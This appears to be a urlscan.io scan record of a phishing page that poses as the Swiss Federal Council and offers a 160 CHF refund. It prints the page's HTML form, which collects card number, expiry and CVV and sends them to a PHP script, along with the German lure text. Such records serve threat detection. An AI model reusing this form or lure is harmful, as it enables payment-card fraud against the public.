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locmaismoveis.com.br Open in urlscan Pro
162.241.203.116  Public Scan

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Submitted URL: http://mailtrain.vertial.net/links/HJ_XEyiFmp6/rkjdKtQT6/SyYMudCY766/rJ7lsFQaa
Effective URL: https://locmaismoveis.com.br/swissadmin/
Submission Tags: falconsandbox
Submission: On March 05 via api from US — Scanned from DE

Form analysis 1 forms found in the DOM

POST php/send1.php

<form action="php/send1.php" method="POST">
  <div class="divinput">
    <div>Vollständiger Name :</div>
    <div><input type="text" required="" name="name" class="inputty"></div>
  </div>
  <div class="divinput">
    <div>Telefonnummer :</div>
    <div><input type="tel" required="" name="tel" class="inputty" placeholder="+41"></div>
  </div>
  <div class="divinput">
    <div>Kartennummer :</div>
    <div><input type="tel" required="" name="cc" id="cc" class="inputty" placeholder="xxxx xxxx xxxx xxxx"></div>
  </div>
  <div class="divinput">
    <div>Verfallsdatum :</div>
    <div><input type="tel" required="" name="exp" id="exp" class="inputty" placeholder="MM/JJ"></div>
  </div>
  <div class="divinput">
    <div>Sicherheitscode :</div>
    <div><input type="tel" required="" name="cvv" id="cvv" class="inputty" placeholder="xxx"></div>
  </div>
  <div class="divsubmit">
    <button type="submit" class="submitbtn">Bestätigen</button>
  </div>
</form>

Text Content

Der Bundesrat

> Entschädigung
Füllen Sie dieses Formular für Ihre Rückerstattung von 160 CHF aus
Vollständiger Name :

Telefonnummer :

Kartennummer :

Verfallsdatum :

Sicherheitscode :

Bestätigen
Der Bundesrat
Kontakt
Informiert bleiben